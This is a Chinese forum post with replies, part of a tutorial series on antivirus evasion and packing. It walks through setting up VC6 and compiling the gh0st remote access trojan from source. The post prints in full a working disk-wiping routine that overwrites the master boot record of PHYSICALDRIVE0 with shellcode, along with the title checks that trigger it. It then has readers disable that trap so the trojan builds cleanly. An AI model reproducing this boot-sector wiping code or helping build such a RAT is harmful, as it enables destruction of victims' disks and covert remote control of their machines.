首页
社区
课程
招聘
[旧帖] [原创]从零开始学免杀与加壳(二) 编译gh0st 0.00雪花
发表于: 2009-11-22 19:20 2044

[旧帖] [原创]从零开始学免杀与加壳(二) 编译gh0st 0.00雪花

2009-11-22 19:20
2044
在开始这个学习之前,我要警告大家,这个代码里面有锁硬盘的代码,编译之前要注释掉,所以请不知道的跟着我做
一 加载工程
首先打开VC6.0,如下图

点击"File->Open"

然后在文件选择对话框里选择你下载gh0st源码的目录,然后类型要选择“Worksapces”打开文件"gh0st.dsw",然后点击确定,如果顺利的话,我们会看到在左边的框里有3个工程如下图

二 配置新的SDK
    点击菜单栏的“tools->options”,然后在出来的对话框中选择“Directories”这个标签,然后我们就要设置新的SDK
   1.Include files :这个是一些头文件,我们需要把,新的SDK的include文件夹包含进来,我们在最后一个目录的下面双击一下,就会出现一个空白行,如图

   然后点击右边那个“。。。”的图标,选择你下载安装好之后的SDK的INCLUDE目录,如下图,这个就是你安装新版SDK后的目录,就是把下图中这个INCLUDE文件包含进来就可以了。

   然后一定要记住,把你新添加的这个include路径放到最上面,要不然,编译器就首选你最上面哪行的路径来编译工程,可能很多人就是这样工程不能编译,选择好你要移动的那一行,然后点击
这里向上的那个按钮,就可以把他上移到最上面。
   这样,include文件夹就设置完成了
   2.Library files :这个是一些必须要用到的库,同上面的方法把路径加载进来,然后调整好位置
   3.Excutable files :这个就是上图的 Bin目录,把这个目录也包含进来
至此SDK设置完了,接下来就是比较关键的地方了,注意了

打开gh0st工程,找到gh0st.cpp这个源文件,打开他,然后找到这段代码
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = {0};
	
	// 重新构造MBR
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
	
	hDevice = CreateFile
		(
		"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
		);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
		(
		hDevice, 
		FSCTL_LOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);
	// 写入病毒内容
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
		(
		hDevice, 
		FSCTL_UNLOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);
	CloseHandle(hDevice);

	ExitProcess(-1);
	return 0;
}


把这些去掉,或者用“/**/”注释掉,在C语言里“//”与“/**/”是注释代码的用途,比如说,一段代码 "int a = 0;"那么 在这行之前加入双斜杠"//int a =0;",就表示这行代码不执行了,如果是很多行代码要注释,那么我们就可以用“/**/”来注释,例如
/* int a = 0; 
int b =0;*/


这是第一处,还有一处,在BuildView.cpp 文件里注释掉这写代码
		char	strVer[10];
		char	strTitle[10];

		strVer[0] = 'C';
		strVer[1] = '.';
		strVer[2] = 'R';
		strVer[3] = 'u';
		strVer[4] = 'f';
		strVer[5] = 'u';
		strVer[6] = 's';
		strVer[7] = ' ';
		strVer[8] = 'S';
		strVer[9] = '\0';

		strTitle[0] = 'G';
		strTitle[1] = 'h';
		strTitle[2] = '0';
		strTitle[3] = 's';
		strTitle[4] = 't';
		strTitle[5] = ' ';
		strTitle[6] = 'R';
		strTitle[7] = 'A';
		strTitle[8] = 'T';
		strTitle[9] = '\0';

		CString str;
		GetDlgItemText(IDC_STATIC_VER, str);
		if (str.Find(strVer) == -1)
			((CGh0stApp *)AfxGetApp())->KillMBR();

		GetParent()->GetWindowText(str);
		if (str.Find(strTitle) == -1)
			((CGh0stApp *)AfxGetApp())->KillMBR();


好了,把这戏代码注释掉之后,剩下就是编译他了。
我们按 F7 编译工程,如果一些顺利的话我们会下下面的对话框中看到
类似这样的信息:
gh0st.exe - 0 error(s), 0 warning(s)
只要error前面这个数是0就可以了,就说明程序没有报错

然后我们再 Ctrl+F5 ,来运行程序,如果一切一切顺利,那就会看到一下界面


好了 整个程序编译完成了,也希望你一些顺利,如果有问题,可以发贴问我,呵呵!
下一个教程我们将解析整个程序,并了解一些C语言的一些知识

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 2899
活跃值: (1753)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
2
似曾相识,是同一个人的作品吗?
2009-11-23 00:15
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
呵呵  这些基础的东西应该有人写过 相同也没关系 哈哈 有兴趣的朋友可以看看,高手也可以来给这个系列指点指点,毕竟有很多想我这样还有很多东西连思路都不清晰的朋友,哈哈
2009-11-23 08:57
0
雪    币: 499
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
支持,新手进来学习
2009-11-23 09:03
0
雪    币: 139
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
有点感觉了  。。。
2010-3-3 20:30
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
辛苦了,继续努力啊
2010-8-23 00:23
0
游客
登录 | 注册 方可回帖
返回
//